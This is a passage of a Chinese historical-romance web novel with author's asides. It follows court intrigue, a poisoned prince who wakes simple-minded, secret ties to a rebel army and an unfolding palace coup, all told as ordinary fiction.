陈贤直从翰林院结束一天回家,正要推开自家小院的门,突然身侧传来低低的一道略有些沙哑沧桑委屈、却又有些耳熟的嗓音:“贤直兄……” 陈贤直转头一看,愣了愣,盯着看了好一阵,眼睛渐渐瞪大,反应过来后急忙左右张望,随即一手推开大门,一手拽住江锐的手将人拉进去,砰的关上门。 “你怎么在这,还这副狼狈的样子……屋里去说!屋里去说!” 陈贤直不由分说地拽着江锐进屋。江锐前脚刚踏进去就迫不及待地扑到陈贤直身上哭道:“贤兄哇!!!” “唉……你这一路受苦了吧……不过怎会如此?思玄不是说将你妥善安顿好了吗?”陈贤直猛然想到,“你藏身之处也被匪军占领了?” 江锐哭得更凄惨了:“谢思玄他……他……他根本就是将我软禁在了匪军的大本营里!” 陈贤直嘶了一声,想想拍着他背安抚道:“最危险处便是最安全处,正所谓灯下黑,思玄向来心思缜密,他当时必是为你妥善安排好了……” 江锐一把推开他,泪眼婆娑,道:“不要为他说话了!!” “什么?”陈贤直发愣地看着他,“泊润你……” 江锐道:“他跟匪军就是一伙的!” 陈贤直:“啊??” 江锐抓住他双肩摇晃:“谢思玄和匪军是一伙的!大皇子就是匪军!就是那个杀人不眨眼、喝人血吃人肉的秦青!我亲眼所见,谢思玄和匪军头子宋淮安谈笑风生,一起逼迫我降服、辅佐匪军造反……” 陈贤直急忙拉住他手:“你别晃我……小声点!你在说什么啊?莫不是疯了吗?大皇子怎会是匪军,谢思玄又怎会逼迫你造反……” “我亲眼所见亲耳所闻!!后来我绞尽脑汁才从宋淮安那逃出来……呜呜呜贤直兄,我们都被谢思玄骗了!!!” 作者有话要说: 忽然觉得……王爷和王子23333 顾裕骐:我是你爹。 顾裕骐:算了,当你爹命很苦的感觉。 将灵:你这日子是真好起来了,话怎么这么多呢? 第99章 ◎你太善良了,又恨他,想他死,可见他如此却又心生不忍。◎ 将灵的神情莫测, 仍旧静静听着屋内那二人对话。 陈贤直过了好一阵才反应过来,仍旧是连连地低声直呼不可能。 然而江锐言之凿凿,说得十分真切。 他信谢善淩的品格,可江泊润也是他的挚交好友, 这…… “怎会如此……”陈贤直喃喃着退后两步往凳子上一跌, 两眼发直, “思玄他怎会如此糊涂……大皇子怎会是秦青?!” “我当时也是你这样不可置信!”江泊润道。 “……思玄、惨啊!”陈贤直突的道。 江泊润:“他惨什么惨?” 陈贤直捂着心口痛道:“和那不成形的人断袖已经很惨,那人还是匪军头子!思玄所托非人啊!如今还被迫嫁鸡随鸡嫁狗随狗嫁匪随匪……” 江泊润打断他的话:“你又错了!谢思玄嫁人之前已经和匪军暗通款曲!他们根本就是早就珠胎暗结、不是, 是……是……早就狼狈为奸!” 陈贤直怒道:“你怎能用这种难听的话说谢思玄!” 江泊润怒道:“你若被他害去那里日夜被宋淮安那天杀的无耻匪徒骚扰,你也会用这么难听的话骂他!” 陈贤直深深呼吸, 努力镇定下来,与他互相瞪看了一阵, 问:“那如今怎么办……你想上告,揭露此事吗?” “你疯了吗?那谢思玄岂不必死无疑?!”江泊润反问。 陈贤直一怔,江泊润也一怔, 半晌,他哽咽起来。 陈贤直拍着他肩道:“自古忠义难两全……我去见见他,试试他。” 江泊润边哭边说:“你试他干什么啊!待他知道你知道了, 一不做二不休, 将你也绑去送给匪徒……他还好,那秦青可蛮横粗鲁了……” “如今大殿下……秦青粗鲁不起来。”陈贤直重重叹息,“他中了奇毒,成了个活死人,谢思玄成日里守在他床边茶饭不思……” * 陈贤直当真去谢府要找谢善淩问明白,然而没能进得去。禁卫军守在门口, 说是保护大皇子, 不让人随意进出。 “前天我还能进去呢!”陈贤直争论道。 禁军问:“和今天何干?” 陈贤直原想再争, 转念一想如今江泊润在自己家中,若自己出事他就没人照应了,只好悻悻然地原路返回。 他却不知,与此同时将灵已经又轻易进了谢善淩的房间。 谢善淩似是愣了下,还看了下窗口,不明白怎么今天天还亮着他就来了。这模样莫名可爱,将灵忍不住笑了笑。 如今将灵已经看都懒得看一眼那挺尸的顾裕帧了,他只看着谢善淩道:“你说说软话,我就告诉你一个不好的消息。” 谢善淩恹恹地看回顾望笙脸上,不搭理将灵的玩笑。 将灵讨了个没趣却也已经习惯,自顾自道:“不说也行,反正你那嘴也说不出什么软话……你那个好友江泊润,从匪军逃出来,回到京城了。” 谢善淩脸色微变,强撑着不作反应,好像觉得这是将灵在瞎说套话而自己不上当。 将灵笑道:“别装了,没骗你。他在陈贤直家里躲着,将你与顾裕帧在匪军那边的身份和勾连抖露了个底朝天。刚刚陈贤直来找你确认真假,我恐你为难,叫人拦下了。” “但你不必担心,我看他俩那意思还是顾念你们的情谊,没见到你向你质问清楚前不会暴露出去。” 谢善淩依旧不动声色,直到将灵笑嘻嘻地叫了他一声“临江仙”,他的面具终于有了裂缝,转头诧然看他。 “这个名字好。临江仙……”将灵反复念了几遍,越念越喜欢。 谢善淩的脸上毫无血色,渐渐地肩头也垮下,许久,他认命似的说:“你想怎么样?” 将灵微微挑起眉头:“你总不会以为我会去揭发你吧?我倒还叫人盯住了他俩以防万一呢……” 谢善淩闻言,急忙要说什么,将灵抢白道:“不必担心,不会对那俩书呆子下狠手,只是若他们不识趣,就将人软禁住而已。” 谢善淩一噎,轻轻叹了声气,看着将灵的眼神闪烁了一下,神态中的软化一闪而过。 将灵却敏锐地捕捉到了,柔声道:“想谢谢我的话,亲我一下就好了。” 然而没得到香吻,只得到了白眼。 将灵却不气馁,反倒笑意愈深,好像得了很大的便宜。 他径直坐到床沿上,与坐在床畔椅子上的谢善淩几乎要碰着彼此的膝盖。谢善淩有些不自在地将椅子往后挪了点,将灵没说什么。 他只是说:“我帮你这么多,不求你的回报,只希望能从你这得到一个答案,而且这个问题不涉及政事,只是你我与顾裕帧三人间的私事。” 谢善淩沉默了一阵,嘲讽地笑了,说:“你有备而来,陈贤直和江泊润在你的手上,我难道有拒绝的余地?” 将灵也笑了,旋即道:“我想知道你和匪军的来往始末。不需要说具体做过什么,我只想知道你什么时候和他们联系上、为何要为他们做事,后来顾裕帧和你成亲与这事有没有关系?” 谢善淩疑惑地看他,仍带有几分防备:“你想知道这些做什么?” “不做什么,就是想知道你的事,你的每一件事我都想知道。”将灵深情款款道。 谢善淩狐疑地审视了他很久,黑白分明的眼珠子滴溜溜转了一阵,大概是实在想不出这会有什么陷阱,最终还是说了,但说得很缓慢,肉眼可见地逐字逐句地斟酌,生怕一不留心就授人以柄。 将灵看着他这副谨慎的样子也是很机灵可爱,眼神直勾勾的,好几下换来谢善淩的白眼,将灵便盯得更紧了。 “……就是这样。”谢善淩讲完了。 他刚刚将自己因为潘案愤而帮助义军,随后却发生了王尨一事,他彻底灰心失望,想要远离俗世一心修道,却被顾裕帧纠缠上的前后说给了将灵听。 “哎?说完了?啊,我刚就顾着看你去了,一句没记住,你能再说一遍吗?”将灵问。 谢善淩当即大怒,张嘴正要骂他,将灵噗嗤一声笑了:“逗你的!” 谢善淩狠狠瞪他! 将灵忍不住身子前倾向他,抬手想去捏他的脸,谢善淩急忙躲开。 将灵手扑了个空,想了想,没将他逼太紧,放下手得意地笑道:“我原是想到,若你有临江仙这一层身份,那么你和顾裕帧成亲是否一开始为了隐人耳目……却不料,比我想的还要好,你竟然是受他胁迫才嫁给他!” 谢善淩别开脸,闷声道:“我没这么说。” “可你所说出来的事实就是如此,不是吗?”将灵问。 谢善淩不再说话,却听到将灵道:“以你的性情,你曾帮助义军,后来是他们出事在先,你不帮了也仁至义尽,并不欠他们的,顾裕帧却反而拿那事做把柄胁迫于你,你不可能不恨他。” “都过去了。”谢善淩回避道。 将灵定定看着他,突的说:“其实真是你对顾裕帧下的阖杀吧。不止是为了阻止结盟、挑拨楚王和顾裕泽,还因为你恨顾裕帧。你一直以来都是假意屈服。” 谢善淩的气息有一瞬的不稳,他立刻遮掩过去,冷笑道:“我似乎应该顺势承认来蒙蔽你,但事到如今我想没这个必要。如果毒不是你下的,那就是顾裕泽。” “……所以你那么痛苦。”将灵悠悠地说完。 谢善淩不耐烦地看他:“你自欺欺人也有个限度!我已没有耐心和你周旋。若是我下的毒,我何必又低声下气地求你给解药!” 将灵道:“因为你太善良了,又恨他,想他死,可见他如此却又心生不忍。” 谢善淩嘲笑道:“你想太多了。起初我是受他要挟,可后来夜夜同床共枕,早已对他有了夫妻之情。” 将灵看着他嘴硬,心中无比畅快,原本隐隐压着的巨石松动开来,语气不自觉又柔和了几分:“我会给他解药,不让你为他的死而内疚终生,反而惦记他一辈子。” 谢善淩听了这话并未过于高兴,眉眼间仍旧染遍着郁郁之色,纠缠着化不开的忧愁。 将灵宽慰他道:“若他醒后成了痴傻之人,那是他强逼你的报应,无需为此自责。” 谢善淩低着头良久不言。将灵叹道:“你为了国仇而明明喜欢我却可以对我下那毒手,如今报复伤害你的人,你却为他而痛苦……” 他想了又想,忍不住轻声地又一次问出那个那个问题:“善淩,告诉我,在你以为亲手将我杀死了的这些年里,你有过哪怕一次为此后悔与痛苦吗?” 谢善淩没有回答他,只是在许久之后抬眼看他的一瞬间泪水从眼中滑落,眼中似有千万种情绪交杂,却一句也不能宣之于口。 “……” 将灵艰难地咽了口唾沫,止不住心中的颤栗,想伸手去顺势将他揽入怀中,可在这一刻却不知为何竟反倒浑身都动弹不了分毫。 他张了张口,已到了嗓子眼儿的话呼之欲出,却在下一刻惊醒。 如果再一次地求谢善淩与自己抛弃一切远走高飞却再一次地被谢善淩抛弃,怎么办? * 将灵很快拿来了解药,谢善淩反倒怔了怔,反应过来后伸手就要去拿,将灵却故意将手往回一收,让他扑个空。 谢善淩忧郁地看他,不骂他,也不抱怨,了无生机的模样令将灵无趣起来,就没了心思逗他,撇撇嘴给他。 谢善淩低头看了看,欲言又止。 “都拿解药给你了,没必要从中做手脚。”将灵的语气相当轻松和气,并无被怀疑的恼怒。 自从他确认是谢善淩亲自给顾裕帧下的毒,心情一直都很愉悦。 作者有话要说: 顾裕帧:@顾裕骐,你能不能跟点体面人合作?就不觉得寒碜吗?(忍无可忍) 顾裕骐已读不回。 第100章 ◎当初为了秦王这一封号争闹出一堆事来,最后还是落到他的头上。◎ 顾裕帧在服下解药后的第三天终于醒过来。毫无悬念地, 他成了一个傻子。 在谢家人忧心忡忡的目光中,在将灵玩味的神情里,谢善淩看起来很平静地接受了这个事实。 他只是淡淡地问太医:“有可能恢复吗?” 太医无措地下意识看向将灵,将灵双手抱胸, 倒没幸灾乐祸, 但也许只是没表现出来在这时候雪上加霜, 他正儿八经地回答说:“不一定,倘若精心好养着, 有可能。” 谢善淩看他一眼,这一眼看不出喜怒, 淡得像已经下了两个月的雨。 然后谢善淩收回目光,似是自嘲地一笑, 用手温柔抚摸顾望笙的脸。许久顾望笙才反应过来似的,动作缓慢地转头,目光呆滞落在他脸上, 没有心疼,只有空洞。 谢善淩看了一会儿,再忍不住, 一把抱住他, 克制地哽咽。 * 顾裕帧醒来变傻子,对顾裕骐而言说不清是好消息还是坏消息。但总之当将灵又一次深夜造访时,顾裕骐觉得这更倾向于是坏消息。 圆窗外是高悬的月亮,屋内塌靠着窗,将灵半躺在上面看着微微咕噜冒泡的酒暖,时候差不多就伸手拿起来给自己也给顾裕骐倒了一杯。 他将酒壶放回酒暖里温着, 举起酒杯朝对面冷漠的顾裕骐笑道:“敬你大哥。” 顾裕骐没喝, 将灵并不在意, 自顾自喝下,扭头仰着脸赏月。 有这死出是因为顾裕帧醒后谢善淩就比较强硬激烈地抗拒将灵夜探香闺了,毕竟一旁的顾裕帧是闭着眼睛躺着,还是睁着眼睛看着,确实给人观感很不一样。 将灵倒并没动气,他如今自信得很,对顾裕骐说现在多事,暂且不管谢善淩那也好,反正等谢善淩照顾傻子久了会厌倦,届时他再小意温柔地趁虚而入。 那你倒是别来骚扰我…… 顾裕骐委婉建议:“要不你坐谢善淩屋顶上去赏月喝酒。” “若他知道了会很烦我。”将灵说。 “本王现在就很烦你。”顾裕骐说。 将灵偏过脸来冲他笑笑:“无人在意。” “……” 仔细想想也确实是无人在意,包括待自己淡淡的婉柔。 先前种种的事伤她太深,虽然她答应了嫁过来,平时依旧娴静温柔,举止亲密些会脸红羞涩,却再不似从前多情。 顾裕骐在繁忙的政事之余挑灯研习佛偈,主动找她清谈,她却都爱答不理地推说谈不出来。 他若显得过于殷切求谈,她就会烦不胜烦地隐忍地说“王爷诸事繁忙,不必特意相陪”这种话来下逐客令。 这一想,顾裕骐也拿起了酒杯一饮而尽。 两人静静地喝完了一壶酒,将灵忽的问:“我们的秦王殿下最近如何?” “风云变幻,正待化龙。”楚王殿下掀唇冷笑道。 将灵一笑:“他自然会春风得意,当初为了秦王这一封号争闹出一堆事来,最后还是落到他的头上。” 前些时日顾裕泽南下剿匪,与白龙匪军几个来回有输有赢,虽然战况胶着,但对比从前,皇帝已经颇为满意,面对捷报频频叫好,甚至还在一众四皇子系朝臣的起哄下封了顾裕泽做秦王。 顾裕骐淡道:“当初你假死,张固帮你蒙混脱身,顾裕泽终究还是查了出来。他没急于声张,暗中观察,当张固和宋淮安那边传送消息时抓了个正着,以战时叛罪处死了。” “可惜。”将灵的脸上却看不出多少惋惜之色。 酒壶里还剩几滴,他倒在桌面上,用手指划拉画了几下。 “白龙匪军的意图很明确就是直驱北上打入京城,接下来只要他们跨过青枫山、炎云岗和飞瀑峡、水城这几处依仗地势地貌易守难攻之处,再往后就很好打了,届时就算豲戎军相助,恐怕也不乐观。”将灵说道。 顾裕骐冷漠道:“那也要他们打得下来。秦青如今成了傻子,宋淮安心肺中过毒箭迟迟未好,近来反复发作,几次告危。恐怕现在也很乱。就让顾裕泽再拖拖他们,拖到炎云岗就都没有了利用价值,在飞瀑峡一并送去见阎王。” 飞瀑峡顾名思义,处在绵延数里的悬崖峭壁之中,水流湍急,大小瀑布密集,很难行军。 宋淮安不必说,若顾裕泽在这里出个什么“意外”,是很顺理成章的事,就算明知和顾裕骐脱不了干系,也拿不住把柄。 将灵摇头:“秦青变傻子是我亲眼所见,这个不必存疑,可宋淮安狡猾多变,他几次告危时都只有亲信在身边,不许别人靠近,何况也可以装。” 顾裕骐却道:“不必管他是装的还是真的,打就是了。” “倒也是。”将灵笑道,“顾裕泽一死,你封太子,蔺家军必反,豲戎军便可以协同镇乱为由进入大梁。”他意味深长道,“否则等咱们这位英明谨慎的皇上和他那神秘的国师算出豲戎军能入梁的日子,可就远了。” “他终究还是有些防备,这是人之常情,你不必为此介怀。而且他做事一向反复。”深受其害多年的顾裕骐说。 将灵挑起眼尾看他,调侃道:“你早点登基吧楚王殿下,和你打交道比跟那个死老头子舒服多了。” 顾裕骐冷冷道:“我把浔阳以南都划给你,你当然更乐意和我打交道。” “别说得这么委屈啊,豲戎若半点好处都没有,掺和你们大梁的这些破事儿干什么?”将灵笑道,“而且浔阳以南真正属于大梁的地界也没多少,还得靠我们豲戎将来立稳脚跟后自行去打下那些南疆小国,还都是些瘴气弥漫穷山恶水的地方。” 顾裕骐道:“那也比现如今豲戎的地界富饶。” 将灵叹了一声气:“确实。前日王城附近又发生了沙暴……城底的暗河主流早些年改道,只余下支流,这几年支流的出水口自然萎缩,恐怕十年内会枯竭。” 他又叹了两声,转头又望向天上的明月不再言语。 将来谢善淩必定会为此大怒,但他也是别无他法。 100-110 第101章 ◎你回来了就好说,我冲锋陷阵是真不行。◎ 飞瀑峡一役中, 秦王与匪将秦青苦战,不幸双双坠落急流,沿岸打捞数日,只寻得些许铠甲残骸与身上信物, 其余无果! “泽儿!!!” 当着众臣的面, 皇帝嘶声泪吼, 捶胸顿足,极为痛苦地大哭一顿, 最终昏厥过去,引来一阵骚乱。 待骚乱过后, 皇帝已被安顿回寝宫歇息,楚王在殿中镇守, 客气地请守了大半夜的臣子们回家休息。 大臣们面面相觑。他们皆是饱读史书之人,此等场景,实在是眼熟…… 然而皇帝早已将皇城内外的守卫大权交给了楚王……虽最近看似对秦王又器重起来, 不论如何,秦王下落不明,那样的情况下已死的可能性太大。 大皇子被毒傻了, 三皇子不毒也一直是个傻的…… 时局已经很明朗了。 即便是四皇子一派, 此刻也不得不在心中哀叹大势已去,他们不比其他在外的,此刻还身处京城之中难以逃脱,哪敢露出叛逆之态来,这不是上赶着找死吗? 于是众人沉默短暂后,齐齐拜倒:“听从楚王之令。” 正要离去时, 撞上了闻讯赶来的菅贵妃。菅贵妃匆匆和他们见过礼就要进殿去, 却被拦住了。 菅贵妃恐怕也觉得这场景很熟很不妙, 索性闹了起来。 大臣们不敢多看,正要走,听到殿内突然传来什么东西砸到地上的闷响,随即是皇帝那隐约却分明存在的嘶吼声:“朕还没死,轮不到你来做朕的主……让贵妃进来!!” 不多久,殿门大开,来开门的内侍还没来得及开口,已经被菅贵妃抬脚狠踹在地。 菅贵妃顾不上仪态,慌急地边往里跑边哭着喊:“皇上!!” 在里面究竟说了些什么不得而知,只知道过了会儿楚王便出来了,额上带着伤。 他见着众人还在,淡淡解释:“父皇与贵妃情深,如今龙体抱恙,贵妃一时担心失了礼仪,父皇不怪罪,让她在旁侍疾,诸位不必多虑,时候不早了,各自请回吧,明日……今日起早朝免去,另待通知。” 众人又互相使了个眼神,点点头,转身离开。但是心知肚明,这天要变了,而且恐怕是一场腥风血雨的宫变。 * 屋子不大,胜在整洁,墙上挂着大大小小的舆图,房子中央是一个很大的演习沙盘,上方多处插着小棍等物做标识。 此时已是深夜,男子端坐在沙盘前垂眸深思,良久一动不动。身着黑色劲装的身躯被微晃的烛火照映在墙影里,更显高大。 身旁是一张只够容纳单人的床。睡在这上面的宋淮安先幽幽叹了一口气,缓慢睁开眼睛,正要起身,男子侧身对着他,并未看过来,淡淡道:“多躺着养养吧。” 宋淮安停了下,依旧撑着坐起身。 男子这才将目光从沙盘移开,看了眼他,作势要起身去搀扶,宋淮安摆摆手示意让自己来,男子一顿,只立在床边看,没坚持。 宋淮安靠坐在床头,脸色虽然苍白,但脸上仍旧带着轻松的笑意,打趣道:“你这是自己躺了几个月躺伤了,想让我也尝尝那滋味儿?” 顾望笙坐回凳子上,看着他说:“我回晚了,否则不必你硬上,旧伤未愈还跌落瀑布。” “他们知道你是秦青,一直暗中监视你,能安然离开京城已经难得。”宋淮安叹道,“如今你是天高任鸟飞了,就怕将灵和顾裕骐发现之后恼羞成怒,对谢公子下手。” “他们暂时不会起疑,还以为这里是你假扮秦青,也对成了傻子的顾裕帧没兴趣,现在顾裕泽重伤失踪,宫中夜变,奸妃和顾裕珩不会坐视顾裕骐登基,定有一番争斗。我们要借这个时机速推北上。” 顾望笙说着,目光回到了沙盘上。 “你回来了就好说,我冲锋陷阵是真不行。我一介读书人,哪是干这粗活的命,啧,受苦了受苦了。”宋淮安道。 顾望笙懒得理他。 宋淮安也看到了沙盘上,过了会儿低声道:“无论奸妃和顾裕骐谁赢,顾裕泽都已出局。可是一日没找到他的尸体,就不能觉得他已经死了。” “蔺家也还在搜找他的下落。”顾望笙说。 “要谨慎,可能是做假样子给我们和京城看。”宋淮安警告道。 顾望笙微微颔首,然后说:“无论他死或没死,蔺家都必反。”他的视线移到沙盘另一边,说,“潘家也会反。” “他们两家不反也不行啊,就算说真心效忠顾裕骐,人家也不会信。蔺家自不必说,潘家和顾裕骐如今也是水火不容了。”宋淮安幸灾乐祸道,“顾裕骐和将灵也是挺有意思,冲冠一怒为红颜,说杀潘家兄妹就杀。” 顾望笙起身去舆图前端起烛火凑近细看,漫不经心道:“他俩没这么冲动,他们不杀,顾裕泽也会杀,然后嫁祸给他们。” “他们……咳咳……咳……” 顾望笙放下蜡烛,倒了杯水给他。宋淮安接过来道了句谢,喝了几口,喘了喘气,笑道:“他们不杀,咳,我们也会杀。从顾裕泽挑拨潘凤知道顾裕骐和谢婉柔的私情那刻起,潘凤就已身陷死局。潘凤一死,咳咳……潘成栋也……咳咳……” “行了,少说点,先养好身体。”顾望笙道。 宋淮安长呼一口气,点了点头。 作者有话要说: 关于中毒解毒是怎么一回事,后面会解释的~ 第102章 ◎也不知道某个醋坛子有没有又发酸,也许太忙了根本没空酸。◎ “顾望笙”如今“痴傻”, 看在旁人眼里就是任由谢善淩摆弄,而谢善淩一心扑在他的身上,极为细致,每日擦洗、推到院中晒太阳、与他说话, 事事都不肯假手于人, 一副为情所困平静地疯了的样子。 谢家人唏嘘不已, 却也劝无可劝。人家结发夫妻,总不可能劝谢善淩就此抛弃大殿下。而谢善淩又没寻死觅活, 甚至没想出门找谁麻烦、报仇。他们就只能心疼地看着,任由着去。 这些时日京城风云变幻, 就连谢家内院里也气氛紧张起来,吃饭时难免提上几句, 谢善淩只作随意状,专心哄“顾望笙”吃东西。在他的尽心尽力下,“顾望笙”已经懂得食物喂到嘴边张嘴吃了。 谢善淩不知道这位仁兄心中的真实想法, 仁兄兢兢业业,即便两人时独处时也一丝松懈不露。 也不知道某个醋坛子有没有又发酸,也许太忙了根本没空酸。离开前也只是仓促地吻了吻他的额头, 话也来不及说就走了。 但那也是没办法, 就算将灵他们以为他傻了放松警惕,可暗哨仍旧盯着。在不被察觉端倪的前提下,他们只能制造出极其短暂的缺口让顾望笙脱身。 谢善丰正说起今日早朝又是楚王代理,可同僚私下议论,有人在宫中有点人脉,说菅贵妃带着三皇子守在皇上的病床前日夜不离, 殿中几度传出他俩和楚王的争吵声响, 最终花落谁家未可知也…… 谢大伯看一眼神情怔怔担忧的弟弟夫妻俩, 朝侄子道:“善丰慎言。” 谢善丰顺着他眼神看去爹娘的身上,脑子一转想到他俩为何如此神态,宽慰道:“我是觉得肯定是楚王啦……” 他爹回过神来,皱起眉头瞪他:“都让你慎言了你还说!” 谢善丰悻悻然的,可今日就这几个最亲的家中人吃饭,他忍不住嘀咕:“如今局势,咱家想明哲保身也保不了了,何必自欺欺人呢……” 他妻子抱着孩子担忧地看向他,又看了看公公,暗暗在桌下拉了拉他的衣角示意别说了。 谢善丰正要不说了拿起筷子,他爹不耐烦道:“你不想吃饭就别吃了!别人还要吃!” 谢善丰一下子也来了火,热血冲脑,不知哪来的勇气将筷子重重往桌上一放,正要开口怼回去,孩子被吓到哇哇哭起来,把他的火气一下子惊回了肚子里,赶紧转头和妻子一起哄。 饭桌上一时间乱糟糟,其他人也不好接着吃,只能都看着小孩。除了“顾望笙”这个傻子,他只是两眼茫然地迟缓循声看了下,就收回目光继续吃。 但谢善淩不再投喂。 他起身过去示意谢善丰将孩子给自己,谢善丰急忙给他。 谢善淩接过孩子轻轻掂着,小孩当真很快就不哭了,眼角依旧挂着泪珠,亮晶晶地看着谢善淩,甚至还嘿嘿地笑起来,小手来摸他脸。 大家早就发现了,这孩子格外喜欢谢善淩,再怎么难哄的时候只要谢善淩哄一哄,立刻就破涕为笑,若谢善淩肯再哄一哄,生病时让吃黄连汤都攥紧了小拳头义无反顾地吃。 孩子不哭了,谢善淩就还给了谢善丰。 小孩子依依不舍地在空中捞了几下没捞着,噘起了小嘴,但到底没再闹,转身趴在亲爹肩头昏昏欲睡。 有了这场闹剧,饭菜都凉了许多,众人草草吃点就都说吃饱了,各自散去。 谢善淩推着“顾望笙”的轮椅正要走,被谢大伯叫住,让去书房谈事。 谢善淩将“顾望笙”也带去了,屋内几个人只当没看见,继续说当下局势。 “善淩,你觉得菅贵妃和三皇子的可能大吗?”谢大伯试探地问他。 哪个皇子都和谢家有渊源,独独这三皇子,从前瞧着和大皇子关系不错,然而从大皇子中毒到傻了也没见来关心过一句,想来那所谓的兄弟之情完全虚假,又或者是已经将谢家划入了楚王一派,因而心中有怨。 若是后者,若是三皇子登基,那可真是不妙。 谢善淩淡淡道:“不必担忧,楚王岂是没有筹谋之人,何况他如今还有将灵襄助。将灵冒着风险不远千里来到京城,定有大的图谋。连秦王都能被他们算计至死,何况只是福王。” “哎……”谢大伯想制止他说“秦王被楚王算计死”这话,但说都说了,又是私底下,也就摆摆手罢了。 谢善丰觉得这不太对,飞快地看了眼大伯,欲言又止。这伙人不是第一天偏心眼了…… 谢二伯在兵部任职,他低语道:“菅贵妃和福王都还好说,原本就只是依仗陛下宠爱和司马忠良的襄助,然而陛下如今实权不多,我看司马忠良是倾向于楚王的。难办的是有兵权的。先前楚王试探蔺将军和潘国梁,找名目让他俩回京,他俩都以边界不稳为由拒绝了,索性陛下下了旨,那两边依旧不回。” 谢善鸣道:“我路过蔺府和潘府,都大门紧闭谢客,大概已有了觉悟。楚王亲自来过几次京军营督促起至少三个月保城不破的计划,意思也很明显。” 他说着看向谢善淩,犹豫了下,叹道:“善淩,大殿下如今有所好转,你先前说有心重返官场做一番事业,现今正是你能出力之际……” 谢善淩看他:“楚王让你劝我?” 谢善鸣为难:“他如今和咱们家是姻亲,自是比起旁人更多信任……” 谢善淩冷笑起来:“‘信任’?” 谢善鸣叹道:“我只是传话,如今传到了。你不乐意听就当我没说。” 谢大伯沉吟着却道:“善淩,你不看在那些争权夺利的腌臜份上,却多少看在京城百姓的面上吧。若当真到了那一天,最苦最难的还是百姓。” 谢善淩沉默一阵,眼中湿润起来,却还是嘴硬着提及旧仇:“若说别处的百姓也就罢了,京城的这些……” “善淩!”一家人哪能不知道他的德性,谢大伯无奈道,“都什么时候了,你还较这劲……” 谢善淩讪讪地不再说话,别过头去整理大殿下的衣衫,拿起桌上的橘子剥了一瓣瓣喂他,似是借此掩饰尴尬。 “善淩……” “不要说了。”谢善淩的语气硬邦邦,“我如今只想照顾好大殿下,其他事与我无关。” 谢善丰也劝起来:“怎会与你无关?若一朝潘国梁打了进来得了势,头一个血洗咱家。” 谢善淩没接他的话,可是神情分明有所动摇。毕竟谢善丰说的是实在之语。 但他当场仍是咬定了没松口,只在接下来的几天里时常怔怔出神。大殿下在院子里晒太阳,他坐在旁边发呆,都不怎么对着大殿下说话了。 谢善鸣借口探望大殿下频频来了数回,起初只是对着谢善淩欲言又止,逐渐急了,径直道:“善淩,还没想过那道坎吗?” 谢善淩看着他,问:“你是为了婉柔所以投靠楚王吗?” 谢善鸣语重心长道:“我是为了整个谢家。无论当初该不该将婉柔嫁给楚王都已成事实,也无论得罪潘家始末,都已经得罪了。” “更何况,大伯那日说得没错,你不看在这些的份上,也看在护住百姓免遭战火灾难的份上。有些百姓是人云亦云不知好歹地伤害过你,可百姓……” 他停了停,尽力斟酌措辞,缓慢道,“……由来如此。” “有些百姓着实愚昧,可他们这一生也未曾受过优遇,甚至不曾得过教育。你我出身好,幼受庭训,是你我之幸事,却不可以此轻蔑不如我们的人,那样岂不有愧贤圣先祖?” 谢善淩看他的眼神软化下来,却仍旧嘴硬:“是我让他们不得教育不受优遇的吗?” 谢善鸣拿出大哥的架子呵斥:“谢思玄!休说这无心无情的坏话!” 谢善淩怔了怔,大概也意识到了不对,目光闪烁,别开脸讪讪地不再还嘴。 见状,谢善鸣语气松缓下来:“不是要凶你,大哥知道那话并非你心中真正所想,自小你比我们更疼爱同情百姓,如今是犟劲儿又发作了……” 他看了眼一旁的大殿下,叹气道:“今日朝后楚王找我透了底,陛下……回光返照,明日早朝会现身册封他为太子,若哪日驾崩,太子灵前即位以免动乱。” “楚王其实已经私下遣人去找过蔺将军和潘国梁和谈,可那两人态度决绝,想来是信不过楚王。明日过后,蔺将军和潘国梁必反无疑。” 说到此处,谢善鸣停了停,朝谢善淩靠近了半步,凑到他耳边低声道:“楚王得知他们甚至为此已经遣人去找过白龙匪军了,想来甚至有勾结匪军之意。” 谢善淩面露惊诧地看他,说:“顾裕泽不是被匪军秦青打落飞瀑峡生死不明的吗?潘家与匪军没什么仇怨还好说,蔺家怎么可能放得下这深仇大恨?情报有误吧?” 谢善鸣摇了摇头。他的神情也很是怅然,望向枝头正在开放的花。 “天下熙熙皆为利往。这世上或许有永远的仇恨,却没有永远的敌人,古往今来皆是如此。”他这样说道。 谢善淩看着他,半晌收回了目光,垂眸道:“所以我厌烦了这利来则聚利尽则散的俗世……大哥,你告诉楚王,我不帮别人但也不想帮他。就不能当这世间没我这个人吗?” 见他执拗,谢善鸣急道:“我说这么多,你怎么还在说这?敢情一点没听进去?” “听进去了。”谢善淩看着“顾望笙”,淡淡道,“但是家夫遭逢变故,我实在是无心旁顾,一切随缘吧。” 作者有话要说: 谢善淩说家夫的时候想笑场,好歹忍住了。 “顾望笙”:我也想笑场,但想想秦青的脸就一下子笑不出来了。 秦青:你俩这么合得来?那我可真是太高兴了,有什么开心的事说出来让我也开心开心啊,毕竟我最近不是很开心[吃瓜] 谢善淩:因为你老相好的受伤了吗? 秦青:因为我新相好的好像又有了相好[摊手] “顾望笙”:是说我吗[问号] 宋淮安:别搭那个神经的话,不然你也变神经[摊手] 第103章 ◎谢思玄我忍你很久了,你嘴里就没一句实话!◎ “哈!哈!哈咳咳咳咳咳……” “……肺是你自己的, 要不要,悉听尊便。”顾望笙都有点无奈了。 宋淮安将刚刚送来的最新情报放到桌面,端起水喝着润嗓子,笑道:“狗咬狗, 我最喜欢看!” 顾望笙拿起情报从头到尾又看了一遍。 前日, 皇帝在朝会上突然却不突兀地说要当场册立楚王为太子, 朝臣里自然有不乐意的,但被楚王当众抖露出确是足叛死刑的罪证拖出去两个后, 至少表面上没人不乐意了,齐呼陛下英明, 殿下神武。 ——不过,楚王此举说是威胁, 又有着宽容之意。 除非他是现在才对这些事如数家珍,但这太过巧合,何况, 他多年前就与东厂锦衣卫来往密切,和豲戎将灵交好也是一年前的事儿了,定早就有这些把柄, 现在才用, 还只是在这关键的关头。 楚王还言简意赅地说了一通话,大意是往事不追。 加之确实没别的人选了,皇帝近来卧病,确实是必须早立太子,众臣本也就此罢了…… 谁料!峰回路转! 就在楚王要跪接过太子宝册金印的一瞬之间,皇帝突然脸色一变, 往后直直栽倒在龙椅上, 口中喷出黑血来。 众人齐呼出声, 正大惊之时,突然从殿外涌进一群全副武装的禁卫军来,间以锦衣卫,将台下大臣圈在一处,领头的锦衣卫几个健步冲上台拔刀朝向楚王,示意他也老实。 